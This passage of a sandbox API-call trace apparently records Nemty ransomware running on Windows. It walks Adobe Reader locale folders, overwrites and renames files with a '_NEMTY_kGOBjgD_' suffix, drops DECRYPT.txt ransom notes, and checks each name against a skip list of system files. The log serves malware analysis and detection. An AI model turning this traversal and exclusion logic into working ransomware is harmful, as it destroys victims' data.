dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.387] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7000, lpOverlapped=0x0) returned 1 [0177.390] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.390] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7000, lpOverlapped=0x0) returned 1 [0177.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.390] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000 [0177.390] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.390] CloseHandle (hObject=0x2e8) returned 1 [0177.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.391] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Weblink.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\weblink.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Weblink.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\weblink.fra._nemty_kgobjgd_")) returned 1 [0177.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.391] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d190e90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d190e90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d190e90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0177.391] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0177.391] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0177.391] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0177.391] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0177.391] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0177.391] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0177.391] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0177.391] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0177.392] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0177.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0177.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0177.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0177.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.393] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d190e90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d190e90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d190e90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0177.393] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0177.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0177.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0177.393] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2=".") returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="..") returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="...") returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="windows") returned -1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="$RECYCLE.BIN") returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="rsa") returned -1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="NTDETECT.COM") returned -1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="ntldr") returned -1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="MSDOS.SYS") returned -1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="IO.SYS") returned -1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="boot.ini") returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="boot.ini") returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="AUTOEXEC.BAT") returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="ntuser.dat") returned -1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="desktop.ini") returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="CONFIG.SYS") returned 1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="RECYCLER") returned -1 [0177.393] lstrcmpiW (lpString1="hr_HR", lpString2="BOOTSECT.BAK") returned 1 [0177.394] lstrcmpiW (lpString1="hr_HR", lpString2="bootmgr") returned 1 [0177.394] lstrcmpiW (lpString1="hr_HR", lpString2="programdata") returned -1 [0177.394] lstrcmpiW (lpString1="hr_HR", lpString2="appdata") returned 1 [0177.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hr_HR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hr_HR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hr_HR", lpUsedDefaultChar=0x0) returned 5 [0177.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hr_HR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hr_HR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hr_HR", lpUsedDefaultChar=0x0) returned 5 [0177.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0177.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0177.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0177.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0177.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0177.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0177.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0177.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0177.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0177.396] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.396] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0177.397] CloseHandle (hObject=0x254) returned 1 [0177.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0177.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0177.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0177.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0177.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0177.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0177.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.397] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0177.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.398] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.398] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0177.399] CloseHandle (hObject=0x254) returned 1 [0177.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.399] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d6077d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d6077d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0177.400] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0177.400] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d6077d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d6077d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0177.400] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0177.400] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0177.400] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Accessibility.HRV", cAlternateFileName="ACCESS~1.HRV")) returned 1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2=".") returned 1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="..") returned 1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="...") returned 1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="windows") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="rsa") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="NTDETECT.COM") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="ntldr") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="MSDOS.SYS") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="IO.SYS") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="boot.ini") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="boot.ini") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="AUTOEXEC.BAT") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="ntuser.dat") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="desktop.ini") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="CONFIG.SYS") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="RECYCLER") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="BOOTSECT.BAK") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="bootmgr") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="programdata") returned -1 [0177.400] lstrcmpiW (lpString1="Accessibility.HRV", lpString2="appdata") returned -1 [0177.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.HRV", lpUsedDefaultChar=0x0) returned 17 [0177.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) 